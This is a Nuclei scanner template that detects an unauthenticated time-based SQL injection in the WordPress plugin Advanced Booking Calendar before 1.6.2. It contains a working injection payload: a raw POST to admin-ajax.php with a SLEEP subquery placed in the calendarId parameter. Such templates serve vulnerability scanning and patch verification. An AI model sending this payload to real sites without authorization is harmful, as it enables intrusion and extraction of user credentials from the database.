2023-05-06 12:12:20 +00:00
id : advanced-booking-calendar-sqli
info :
name : Advanced Booking Calendar < 1.6.2 - SQL Injection
author : theamanrawat
severity : critical
description : |
The AJAX action abc_booking_getBookingResult, available to both authenticated and Unauthenticated users did not sanitise the calendarId parameter which was then concatenated to a SQL statement, leading an unauthenticated SQL injection issue. This could be used to retrieve information from the database, such as users' hashed password, username and email address.
2023-10-14 11:27:55 +00:00
remediation : Fixed in version 1.6.2
2023-05-06 12:12:20 +00:00
reference :
- https://wpscan.com/vulnerability/bac7b590-70de-45b3-bdc2-19f90524ca39
- https://wordpress.org/plugins/advanced-booking-calendar/
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
2024-10-15 10:27:37 +00:00
tags : time-based-sqli,sqli,wpscan,wordpress,wp-plugin,wp,advanced-booking-calendar,unauthenticated
2023-05-06 12:12:20 +00:00
http :
- raw :
- |
@timeout : 10s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
calendarId=1)+AND+(SELECT+2065+FROM+(SELECT(SLEEP(6)))jtGw)+AND+(5440=5440&from=2010-05-05&to=2010-05-09&action=abc_booking_getBookingResult
matchers :
- type : dsl
dsl :
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "abc-result-header")'
condition : and
2024-10-18 13:05:19 +00:00
# digest: 490a0046304402202d4bb8fda066feea392fa4cf3e98dca64f5d3964508427228facc9ca23deb670022073cc43b245bbb9ad7ec4e3f0c4253b97a34e9cd265294effb5798fd646c8df9a:922c64590222798bb761d5b6d8e72950